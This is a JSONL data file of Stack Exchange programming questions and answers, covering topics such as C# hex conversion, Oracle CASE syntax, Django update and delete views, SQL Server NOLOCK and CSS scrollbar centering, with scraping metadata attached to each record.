{"id": "hf_812ae4dbf102", "question": "<p>I have mixed views about commercial class libraries. Am I better off using a commercial  class library or starting  from scratch? If buying a library is the way forward which one for a C# developer?</p>\n", "question_body": "", "answer": "Put a value on your time, say $30 an hour.  Estimate how long it would take you to write the library, then add two times that for debugging and testing.  Subtract the time it's going to take you to learn how to use the commercial library with the given documentation.  Multiply by your hourly rate.  Compare.\nWriting a library can be fun and rewarding, but \"not invented here\" syndrome keeps a lot of companies from creating anything useful, as they're stuck reinventing the wheel for additional cost.  Make sure it is extensible (if you don't get access to the source) and has what you need.  Buy it.\nAs a personal project, it's probably worth writing it from scratch at least once to see what you can learn, but on company dime you need to be productive and efficient.\nOr write it from scratch and release it open source ;)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:18.164164"}
{"id": "hf_dc5fb0b57018", "question": "<p>Anyone have experience with algorithmic trading (like stocks)?  Any good services to use to get quotes and to make trades?</p>\n", "question_body": "", "answer": "I had a freelance project that used\nInteractive Brokers\n, which provided both a proprietary API as well as a FIX-based one. The proprietary API is somewhat painful to use (and they probably can't change it much, for compatibility), but you can easily code a \"translation layer\" to make it much more pleasant. I haven't tried the FIX-based API, so no comments there.\nAnd yes, I reopened the question. I happen to think it's a fair question to ask.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:18.212454"}
{"id": "hf_f95120d41d4e", "question": "<p>I've written a WPF UserControl, and want to add one or more of it to my Window at runtime when I click a button. How can I do that?</p>\n\n<p>Edit: Further specification\nI want to add the usercontrols to a Canvas, and put in a absolute position. The canvas is a drawing of the floors in my house, and each usercontrol has properties to indicate where in the house it is positioned. So I want all the controls to be positioned in the correct position on the canvas.</p>\n\n<p>I'm thinking something like this</p>\n\n<pre><code>var light = new LightUserControl(2);\nHouseCanvas.Children.Add(light); // this should be positioned in a specific place\n</code></pre>\n", "question_body": "", "answer": "Add a StackPanel to the window and on each button click,\n```\n```\n_stackPanel.Children.Add(new YourControl());\n```\n```\nYou can do this in many ways.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:18.236799"}
{"id": "hf_a8e06ae30fe8", "question": "<p>I have a .fla file with some text that I want to get at. Is there a free app than you can use to open .fla files, or just a tool to dump strings and pics?</p>\n", "question_body": "", "answer": "With such question, I just experiment...\nI went to deviantART, went to the\nFlash .FLA Files\ngallery and downloaded one at random.\nI got a .fla file of about 1MB.\nI went to Sysinternals's site to get the latest version of\nStrings\n, a command line tool to extract plain text strings from binary files.\nRan:\n```\n```\nstrings -n 10 \"D:\\Archives\\scrolling flash gallery with preloader.fla\" > str\n```\n```\nGot at text file with lot of data you have to sort yourself...\nThere are some other similar freewares utilities, some with GUI, but this command line version is handy. Works with both (or either) Unicode and Ansi strings.\nOh, obviously it is for Windows. You forgot to specify if you target a specific platform.\nPS.: for what it is worth, I believe the Flash SDK is free at Adobe's site. You just don't have the Flash IDE, only a compiler, etc. for AS development. Perhaps it includes a tool to look at .fla files (not tried the toolkit yet).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:18.260718"}
{"id": "hf_a4eef9a3b86c", "question": "<p>How can you convert a byte array to a hexadecimal string and vice versa?</p>\n", "question_body": "", "answer": "You can use\n```\nConvert.ToHexString\n```\nstarting with .NET 5.\nThere's also a method for the reverse operation:\n```\nConvert.FromHexString\n```\n.\nFor older versions of .NET you can either use:\n```\n```\npublic static string ByteArrayToString(byte[] ba)\n{\n  StringBuilder hex = new StringBuilder(ba.Length * 2);\n  foreach (byte b in ba)\n    hex.AppendFormat(\"{0:x2}\", b);\n  return hex.ToString();\n}\n```\n```\nor:\n```\n```\npublic static string ByteArrayToString(byte[] ba)\n{\n  return BitConverter.ToString(ba).Replace(\"-\",\"\");\n}\n```\n```\nThere are even more variants of doing it, for example\nhere\n.\nThe reverse conversion would go like this:\n```\n```\npublic static byte[] StringToByteArray(String hex)\n{\n  int NumberChars = hex.Length;\n  byte[] bytes = new byte[NumberChars / 2];\n  for (int i = 0; i < NumberChars; i += 2)\n    bytes[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16);\n  return bytes;\n}\n```\n```\nUsing\n```\nSubstring\n```\nis the best option in combination with\n```\nConvert.ToByte\n```\n. See\nthis answer\nfor more information. If you need better performance, you must avoid\n```\nConvert.ToByte\n```\nbefore you can drop\n```\nSubString\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:18.296641"}
{"id": "hf_6b545f0d17cb", "question": "<p>I'm looking for a open source .Net HTTP proxy library. Basically I want to develop something like Fiddler (so much lighter with less features).</p>\n", "question_body": "", "answer": "There is\nURLRewriter.NET\n, a free open-source component for IIS/ASP.NET.\nAs the name suggests, it's an URL rewriting component, but it has\nalso proxying capabilities\n. With a simple line like this in the configuration file\n```\n```\nRewriteRule ^(.*) http://www.testsiteXY.com$1 [P]\n```\n```\nyou could easily use it as proxy.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:18.333498"}
{"id": "hf_bc2f35345646", "question": "<p>I'm using Oracle 10g and I'm trying to \"stack\" the conditions in a CASE statement, like I would do in C++ :</p>\n\n<pre><code>case 1:\ncase 2:\n    // instructions\n    break;\n</code></pre>\n\n<p>i.e. having the same code block executed for two different successful conditions.</p>\n\n<p>I've tried :</p>\n\n<pre><code>WHEN 1, 2 THEN\nWHEN 1 OR 2 THEN\n</code></pre>\n\n<p>... without luck.\nIs it even possible ?</p>\n\n<p><strong>EDIT</strong> - Full snippet</p>\n\n<pre><code>CASE v_n\n  WHEN (1 OR 2) THEN\n    dbms_output.put_line('Case 1 or 2');\n  WHEN 3 THEN\n    dbms_output.put_line('Case 3'); \nEND CASE;\n</code></pre>\n\n<p>Generates an <strong>expression is of wrong type</strong> error</p>\n", "question_body": "", "answer": "You need to use this format:\n```\n```\nCASE\n  WHEN v_n = 1 OR v_n = 2 THEN\n    dbms_output.put_line('Case 1 or 2');\n  WHEN v_n = 3 THEN\n    dbms_output.put_line('Case 3'); \nEND CASE;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:18.357603"}
{"id": "hf_0ee656c03cbf", "question": "<p>I am using django 1.0 and I have created my models using the example in the Django book.  I am able to perform the basic function of adding data; now I need a way of retrieving that data, loading it into a form (change_form?! or something), <b>EDIT</b> it and save it back to the DB. Secondly how do I <b>DELETE</b> the data that's in the DB? i.e. search, select and then delete!</p>\n\n<p>Please show me an example of the code I need to write on my <code>view.py</code> and <code>urls.py</code> for perform this task.</p>\n", "question_body": "", "answer": "Say you have a model Employee. To edit an entry with primary key emp_id you do:\n```\n```\nemp = Employee.objects.get(pk = emp_id)\nemp.name = 'Somename'\nemp.save()\n```\n```\nto delete it just do:\n```\n```\nemp.delete()\n```\n```\nso a full view would be:\n```\n```\ndef update(request, id):\n   emp = Employee.objects.get(pk = id)\n   #you can do this for as many fields as you like\n   #here I asume you had a form with input like <input type=\"text\" name=\"name\"/>\n   #so it's basically like that for all form fields\n   emp.name = request.POST.get('name')\n   emp.save()\n   return HttpResponse('updated')\n\ndef delete(request, id):\n   emp = Employee.objects.get(pk = id)\n   emp.delete()\n   return HttpResponse('deleted')\n```\n```\nIn urls.py you'd need two entries like this:\n```\n```\n(r'^delete/(\\d+)/$','myproject.myapp.views.delete'),\n(r'^update/(\\d+)/$','myproject.myapp.views.update'),\n```\n```\nI suggest you take a look at the\ndocs", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:18.381192"}
{"id": "hf_8e9916ae8071", "question": "<p>I am migrating an application from .NET 1.1 to .NET 2.0. Should I remove all uses of CollectionBase? If so, what is the best strategy for migration?</p>\n", "question_body": "", "answer": "Yes, the best classes to look at are in System.Collections.Generic.\nI usually use List.\nThere are two approaches you can use either:\nA\n```\n```\npublic class MyClass\n{\n  public List<MyItem> Items;\n}\n```\n```\nB\n```\n```\npublic class MyItemCollection : List<MyItem>\n{\n}\n\npublic class MyClass\n{\n  public MyItemCollection Items;\n}\n```\n```\nThe two approaches only differ very slightly and you only need to use method (B) if you plan on extending the functionality of List.\nHere's a link with more info:\nhttp://msdn.microsoft.com/en-us/library/6sh2ey19(VS.80).aspx\nWith regards to the classes that you've already implemented, you can remove all of the functions which are specified in the IList interface. e.g.\n```\n```\npublic int Add(InstrumentTradeDataRow instTrade) { return List.Add(instTrade); }\n```\n```\nThis can be removed because List already implements a type safe Add function for you.\nSee this link for more information:\nhttp://msdn.microsoft.com/en-us/library/3wcytfd1(VS.80).aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:18.405695"}
{"id": "hf_c5f7fb7fbab2", "question": "<p>I'm looking for a production quality bloom filter implementation in Python to handle fairly large numbers of items (say 100M to 1B items with 0.01% false positive rate). </p>\n\n<p><a href=\"http://www.imperialviolet.org/pybloom.html\" rel=\"noreferrer\">Pybloom</a> is one option but it seems to be showing its age as it throws DeprecationWarning errors  on Python 2.5 on a regular basis. Joe Gregorio also has <a href=\"http://bitworking.org/news/380/bloom-filter-resources\" rel=\"noreferrer\">an implementation</a>. </p>\n\n<p>Requirements are fast lookup performance and stability. I'm also open to creating Python interfaces to particularly good c/c++ implementations, or even to Jython if there's a good Java implementation.</p>\n\n<p>Lacking that, any recommendations on a bit array / bit vector representation that can handle ~16E9 bits?</p>\n", "question_body": "", "answer": "Look at the\narray\nmodule.\n```\n```\nclass Bit( object ):\n    def __init__( self, size ):\n        self.bits= array.array('B',[0 for i in range((size+7)//8)] )\n    def set( self, bit ):\n        b= self.bits[bit//8]\n        self.bits[bit//8] = b | 1 << (bit % 8)\n    def get( self, bit ):\n        b= self.bits[bit//8]\n        return (b >> (bit % 8)) & 1\n```\n```\nFWIW, all of the\n```\n//8\n```\nand\n```\n% 8\n```\noperations can be replaced with\n```\n>>3\n```\nand\n```\n&0x07\n```\n.  This\nmay\nlead to slightly better speed at the risk of some obscurity.\nAlso, changing\n```\n'B'\n```\nand\n```\n8\n```\nto\n```\n'L'\n```\nand\n```\n32\n```\nshould be faster on most hardware.  [Changing to\n```\n'H'\n```\nand 16 might be faster on some hardware, but it's doubtful.]", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:18.430056"}
{"id": "hf_d31169539efb", "question": "<p>I have these 2 vectors:</p>\n\n<pre><code>alpha =\n     1    1    1    1    1    1    1    1    1\n\nf_uv =\n   193  193  194  192  193  193  190  189  191\n</code></pre>\n\n<p>And when I do this:</p>\n\n<pre><code>alphaf_uv = alpha * f_uv'\n</code></pre>\n\n<p>I get the error message:</p>\n\n<pre><code>\"??? Error using ==&gt; mtimes\nIntegers can only be combined with integers of the same class, or scalar doubles.\" \n</code></pre>\n\n<p>The interesting part is that this error doesn't appear if I define the same vectors in the console and try the multiplication there.</p>\n\n<p><code>alpha</code> is defined by me and <code>f_uv</code> is obtained from some pixels in a PNG image.</p>\n", "question_body": "", "answer": "Assuming they're both integer matrices to begin with,\n```\nf_uv'\n```\nmay not be.\nTry:\n```\n```\nalphaf_uv = double(alpha) * double(f_uv')\n```\n```\nand let us know if it still occurs.\nYou may need to turn\n```\nalphaf_uv\n```\nback into an integer type afterwards, depending on your needs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:18.454411"}
{"id": "hf_705c6e7c7cb3", "question": "<p>What are the hidden features of Maven2?</p>\n", "question_body": "", "answer": "With maven-dependency-plugin it's possible to resolve dependency conflicts and cyclic dependency problems.\nAdd to your pom.xml:\n```\n```\n<plugin>\n   <groupId>org.apache.maven.plugins</groupId>\n   <artifactId>maven-dependency-plugin</artifactId>\n</plugin>\n```\n```\nThen run\nmvn dependency:resolve\nor\nmvn dependency:build-classpath\nto test it.\nMore about the dependency plugin:\nhttp://maven.apache.org/plugins/maven-dependency-plugin/howto.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:18.549768"}
{"id": "hf_682f5e89af84", "question": "<p>Okay, I have a FormView with a couple of child controls in an InsertItemTemplate. One of them is a DropDownList, called DdlAssigned. I reference it in the Page's OnLoad method like so:</p>\n\n<pre><code>protected void Page_Load(object sender, EventArgs e)\n{\n    ((DropDownList)FrmAdd.FindControl(\"DdlAssigned\")).SelectedValue =\n          ((Guid)Membership.GetUser().ProviderUserKey).ToString();\n}\n</code></pre>\n\n<p>Basically I'm just setting the default value of the DropDownList to the user currently logged in.</p>\n\n<p>Anyway, when the page finishes loading the SelectedValue change isn't reflected on the page. I stepped through OnLoad and I can see the change reflected in my Watch list, but when all is said and done nothing's different on the page.</p>\n", "question_body": "", "answer": "I figured it out. I'm still missing exactly why it doesn't work just on FormLoad, but performing the change in the FormView's DataBound event does the trick.\n```\n```\nprotected void FrmAdd_DataBound(object sender, EventArgs e)\n{\n    // This is the same code as before, but done in the FormView's DataBound event.\n    ((DropDownList)FrmAdd.Row.FindControl(\"DdlAssigned\")).SelectedValue =\n        ((Guid)Membership.GetUser().ProviderUserKey).ToString();\n}\n```\n```\nSo, I guess the general rule of thumb is that if you are having problems making changes to controls when working with databinding, try to make them immediately after it has been bound.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:18.576782"}
{"id": "hf_94b6d63b180e", "question": "<p>I have a .NET dll which needs to read it's config settings from it's config file. Usually, the config file is placed in the same directory as the DLL. But how do i read the config file if the DLL is GAC'ed, because I can put only the DLLs in the GAC, and not it's config files.</p>\n", "question_body": "", "answer": "Does the user need to configure the Dll?  If so, then the DLL should be using configuration settings from the app.config file, not it's own config.  The app.config file should be stored in the same directory as the application.  If not, then you could go a couple of different ways.  You could make changes to the machine.config file so that your Dll can find them there.  I would not do this.  Alternatively, you can store the configuration in a settings class.  These can be overridden via configuration, but your defaults will be set in the generated code for the settings class via attributes and so the absence of a configuration file will not affect your Dll when the defaults are all that are required.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:18.600155"}
{"id": "hf_1c6a99ea65fb", "question": "<p>If have a set of classes that all implement an interface. </p>\n\n<pre><code>interface IMyinterface&lt;T&gt;\n{\n    int foo(T Bar);\n}\n</code></pre>\n\n<p>I want to shove them all in a list and enumerate through them.  </p>\n\n<pre><code> List&lt;IMyinterface&gt; list\n foreach(IMyinterface in list)\n // etc...  \n</code></pre>\n\n<p>but the compiler wants to know what T is. Can I do this? How can I overcome this issue?</p>\n", "question_body": "", "answer": "There is no IMyinterface type there is only a IMyinterface`1 type which will require a type argument.  You could create an IMyinterface type:-\n```\n```\ninterface IMyinterface { ... }\n```\n```\nthen inherit from it\n```\n```\ninterface IMyinterface<T> : IMyinterface { ... }\n```\n```\nYou would need to move any members you would like to use in the foreach loop to the IMyinterface definition.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:18.650860"}
{"id": "hf_fa28096f1c94", "question": "<p>I need to extract multiple text/dropdown list fields from an asp.net form and format appropriately ready for sending to recipient via email.</p>\n\n<p>What's the best way of reading those fields without having to hard code each item such as: </p>\n\n<pre><code>item1 = InputField1.Text; \nitem2 = InputField2.Text; \n</code></pre>\n\n<p>I will have about 10 or 20 items on the same input form.</p>\n", "question_body": "", "answer": "Not sure why you're trying to do this - without more info it seems like you're probably taking an approach that is sub-optimal, but I digress. The form field values are also accessible via the Request.Form collection, which is a NameValueCollection if I recall. You could access that as-is like so:\n```\n```\nforeach (string key in Request.Form.Keys) {\n    string value = Request.Form[key];\n    // format and use value here\n}\n```\n```\nIf you need to format specific fields based on the field and type of data, you could do a copy to a dictionary like so:\n```\n```\nDictionary<string, object> values = new Dictionary<string, object>();\n\nforeach (string key in Request.Form.Keys) {\n    if (key.Equals(\"SpecialFieldName\")) {\n        // for example, parse an int\n        values.Add(key, int.parse(Request.Form[key]));\n    } else {\n        // no special formatting required\n        values.Add(key, Request.Form[key]);\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:18.699240"}
{"id": "hf_fc268b0c18ae", "question": "<p>Is there an alternative to history.go(-1) for FireFox and Safari. Any Help would be greatly appreciated. </p>\n", "question_body": "", "answer": "You can use\n```\nhistory.back()\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:18.728146"}
{"id": "hf_dc3519b1ee16", "question": "<p>I have an idea about what it is. My question is :-</p>\n\n<p>1.) If i program my code which is amenable to Tail Call optimization(Last statement in a function[recursive function] being a function call only, no other operation there) then do i need to set any optimization level so that compiler does TCO. In what mode of optimization will compiler perform TCO, optimizer for space or time.</p>\n\n<p>2.) How do i find out which all compilers (MSVC, gcc, ARM-RVCT) does support TCO</p>\n\n<p>3.) Assuming some compiler does TCO, we enable it then, What is the way to find out that the compielr has actually done TCO? Will Code size, tell it or Cycles taken to execute  it will tell that or both?</p>\n\n<p>-AD</p>\n", "question_body": "", "answer": "If you want your compiler to do tail call optimization, just check either\na) the doc of the compiler at which optimization level it will be performed or\nb) check the asm, if the function will call itself (you dont even need big asm knowledge to spot the just the symbol of the function again)\nIf you really really want tail recursion my question would be:\nWhy dont you perform the tail call removal yourself? It means nothing else than removing the recursion, and if its removable  then its not only possible by the compiler on low level but also on algorithmic level by you, that you can programm it direct into your code (it means nothing else than go for a loop instead of a call to yourself).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:18.751807"}
{"id": "hf_3f1f136d2cd5", "question": "<p>NDoc has an XML element <strong>inheritdoc</strong> which allows you to inherit documentation of a member from the parent class (or an implemented interface). However, Visual Studio (i.e. the C# compiler) does not understand this tag and complains about the documentation not being present or complete. So does StyleCop and some other tools. Is there an alternative approach? How do you go about keeping the docs complete, yet without duplicating the XML descriptions?</p>\n", "question_body": "", "answer": "One alternative is to use\nGhostDoc\n- an add-in for Visual Studio that automatically generates comments for you. This duplicates the XML description of course, which is part of what you're trying to avoid - but at least it does it automatically for you.\nWhat happens if you just leave off the docs entirely for methods which are being inherited, or overriding interface methods? I suspect it depends on how you've got NDoc configured, but certainly in MSDN documentation seems to just naturally inherit the docs - and a quick check\nsuggests\nthat VS won't whinge when you don't prodive docs for an inherited method. Worth a try, certainly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:18.799636"}
{"id": "hf_2d6e946f22b2", "question": "<p>Does anyone know where I can find an example of how to determine if the Maximize and/or Minimize buttons on a window are available and/or disabled?</p>\n\n<p>The window will not be in the same process as my application.  I have the hWnd and I have tried using GetMenuItemInfo, but I can't find any good samples for how to do this.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Use the\nGetWindowInfo\nfunction.\nTest the\nWINDOWINFO\nstructure's dwStyle field and see if the WS_MAXIMIZEBOX bit is on.\n```\n```\nWINDOWINFO.dwStyle & WS_MAXIMIZEBOX != 0\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:18.847841"}
{"id": "hf_122744687639", "question": "<p>If a \"WITH NOLOCK\" query hint is used on a View in SQL Server, does it propagate that hint to the view definition itself, even if NOLOCK is NOT used for the raw tables in the View definition? The reason to need this is that sometimes the support staff wants to do huge time-consuming queries but would rather not force this lock on all queries using the view within the application itself.</p>\n", "question_body": "", "answer": "Yes, NOLOCK will propagate to the tables used by the view definition (at least in SQL Server 2005).\nSee\nTable Hints\nin MSDN:\nIn SQL Server 2005, all lock hints are propagated to all the tables and views that are referenced in a view. Also, SQL Server performs the corresponding lock consistency checks.\nHowever,\nIf a table contains computed columns and the computed columns are computed by expressions or functions accessing columns in other tables, the table hints are not used on those tables. This means the table hints are not propagated. For example, a NOLOCK table hint is specified on a table in the query. This table has computed columns that are computed by a combination of expressions and functions that access columns in another table. The tables referenced by the expressions and functions do not use the NOLOCK table hint when accessed.\nIf you're using indexed views you might want to read a bit more as there are some special cases there too.\nAlso see\nView Resolution\nfor more info.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:18.895627"}
{"id": "hf_41db936491f8", "question": "<p>With generics, is there ever a reason to create specific derived EventArg classes</p>\n\n<p>It seems like now you can simply use them on the fly with a generic implementation.</p>\n\n<p>Should i go thorugh all of my examples and remove my eventArg classes (StringEventArgs, MyFooEventArgs, etc . .)</p>\n\n<pre><code>public class EventArgs&lt;T&gt; : EventArgs\n{\n    public EventArgs(T value)\n    {\n        m_value = value;\n    }\n\n    private T m_value;\n\n    public T Value\n    {\n        get { return m_value; }\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "As TcKs already said: Use\n```\nEventArgs<T>\n```\nif you only need to pass one value, otherwise derive from\n```\nEventArgs\n```\n(or\n```\nEventArgs<T>\n```\n, whatever you want).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:18.936479"}
{"id": "hf_1d90716f1951", "question": "<p>How would you format/indent this piece of code?</p>\n<pre><code>int ID = Blahs.Add( new Blah( -1, -2, -3) );\n</code></pre>\n<p>or</p>\n<pre><code>int ID = Blahs.Add( new Blah(\n1,2,3,55\n)          \n); \n</code></pre>\n<hr />\n<h3>Edit:</h3>\n<p>My class has lots of parameters actually, so that might effect your response.</p>\n", "question_body": "", "answer": "or\n```\n```\nint ID = Blahs.Add( \n            new Blah( 1, 2, 3, 55 )          \n         );\n```\n```\nI must confess, though, that 76 times out of 77 I do what you did the first time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:18.985050"}
{"id": "hf_15143cbc3d2d", "question": "<p>I need to store large amount of data using RMS API through J2ME. </p>\n\n<p>How can I store that multiple-column data, given they must be hardcoded so I need to store those multiple columns and rows data.</p>\n\n<p>How can I do this in this, should I use <code>struct</code>s?</p>\n", "question_body": "", "answer": "Well, RMS only allows you to store records that are arrays of bytes. You will have to decide for yourself how a record is stored, and if you want to store your data in a single or in multiple records. If you use the DataInputStream and DataOutputStream classes, you'll be able to read/write Strings, booleans, integers, etc. The\nAPI documentation includes a decent example\nof how you can do this.\nIf you have complex data to store, or a lot of different objects, you may want to create a simple library for RMS I/O, that allows you to pass objects implementing e.g. \"Storable\" to a library class that writes away your object into RMS.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:19.020430"}
{"id": "hf_946b3e16937d", "question": "<p>Is there a less resource intensive / faster way of performing this query (which is partly based upon: <a href=\"https://stackoverflow.com/questions/311390/mysql-a-search-a-select-of-multiple-rows-joining-and-all-in-one-query\">This StackOverflow question</a> ). Currently it takes 0.008 seconds searching through only a dozen or so rows per table.</p>\n\n<pre><code>SELECT DISTINCT *\nFROM (\n(\n\nSELECT DISTINCT ta.auto_id, li.address, li.title, GROUP_CONCAT( ta.tag ) , li.description, li.keyword, li.rating, li.timestamp\nFROM tags AS ta\nINNER JOIN links AS li ON ta.auto_id = li.auto_id\nWHERE ta.user_id =1\nAND (\nta.tag LIKE '%query%'\n)\nOR (\nli.keyword LIKE '%query%'\n)\nGROUP BY li.auto_id\n)\nUNION DISTINCT (\n\nSELECT DISTINCT auto_id, address, title, '', description, keyword, rating, `timestamp`\nFROM links\nWHERE user_id =1\nAND (\nkeyword LIKE '%query%'\n)\n)\n) AS total\nGROUP BY total.auto_id\n</code></pre>\n\n<p>Thank you very much,</p>\n\n<p>Ice</p>\n", "question_body": "", "answer": "I would hope that the query optimizer would do this for you, but you might want to try doing the select on tags by user_id before doing the join just in case in the first subquery.  This would reduce the number of rows that you would have to join across presumably.  You also probably want to have indexes on auto_id AND user_ID.\n```\n```\nSELECT DISTINCT *\nFROM (\n   (SELECT ta.auto_id, li.address, li.title, GROUP_CONCAT( ta.tag ),\n           li.description, li.keyword, li.rating, li.timestamp\n    FROM (SELECT auto_id, tag FROM tags WHERE user_id = 1) AS ta\n         INNER JOIN links AS li ON ta.auto_id = li.auto_id\n         WHERE (ta.tag LIKE '%query%') OR (li.keyword LIKE '%query%')\n    GROUP BY li.auto_id\n   )\n   UNION (\n       SELECT auto_id, address, title, '', description, keyword, rating, `timestamp`\n       FROM links\n       WHERE user_id = 1 AND (keyword LIKE '%query%')\n   )\n) AS total\nGROUP BY total.auto_id\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:19.056239"}
{"id": "hf_e694ac971826", "question": "<p>In Firefox and Safari, pages that are centered move a few pixels when the page is long enough for the scrollbar to appear.  If you navigate through a site that has long and short pages, the page seems to \"jump\" around.</p>\n\n<p>IE7 tends to leave the scroll bar visible all of the time but disables it when the page is not long enough.  Since the width of the HTML window never changes the centering of the page doesn't change.</p>\n\n<p>Is there a workaround or a way to style the page so it doesn't jump around in Firefox and Safari?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "You could simply always enable the scrollbar:\n```\n```\nhtml{\n overflow: scroll;\n}\n```\n```\nbut that would give you the horizontal scrollbar too, this is better:\n```\n```\nhtml{\n   overflow-y:scroll;\n   overflow-x:auto;\n}\n```\n```\nThat will give you only the vertical scroll and the horizontal when needed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:19.102917"}
